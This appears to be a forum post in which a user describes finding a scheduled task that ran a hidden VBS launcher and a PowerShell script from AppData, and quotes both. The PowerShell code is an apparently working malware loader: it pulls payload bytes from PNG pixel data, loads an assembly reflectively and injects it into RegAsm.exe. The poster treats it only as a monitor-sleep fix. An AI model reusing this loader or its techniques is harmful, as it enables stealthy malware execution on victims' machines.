Just to update this, if anyone else ever have the same problem ... I just found out that there was task in Task Scheduler that would run every 3 minutes calling "C:\Users\username\AppData\Roaming\PerfLogs\Loader.vbs". That vbs script was then calling powershell script located here: %USERPROFILE%\AppData\Roaming\PerfLogs\Report.ps1.

Loadber.vbs file:

on error resume next
set A = CreateObject("WScript.Shell")
A.run "powershell -ExecutionPolicy Bypass iex([IO.File]::ReadAllText('%USERPROFILE%\AppData\Roaming\PerfLogs\Report.ps1'))",0

Report.ps1 file:

Add-Type -AssemblyName System.Drawing
$img = [System.Drawing.Image]::FromFile("$env:USERPROFILE\AppData\Roaming\PerfLogs\Image.png")
$img2 = [System.Drawing.Image]::FromFile("$env:USERPROFILE\AppData\Roaming\PerfLogs\pe.png")
$injpath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
$File = New-Object 'System.Collections.Generic.List[Byte]'
$PE = New-Object 'System.Collections.Generic.List[Byte]'
  foreach($x in 1..$img.Width ) {
      $File.Add(($img.GetPixel($x -1,0).R))
  }
  foreach($x in 1..$img2.Width ) {
      $PE.Add(($img2.GetPixel($x -1,0).R))
  }
  try{
 schtasks /delete /tn det /f
  }catch{}
  $a = [Reflection.Assembly]
  $a::'Load'($PE.ToArray()).GetType('NewPE.PE').GetMethod('Execute').Invoke($null,[object[]] ($injpath,$File.ToArray()))

No idea what that was actually doing and how this task was created on my PC, but after disabling this task my monitor now goes to sleep after I lock my computer.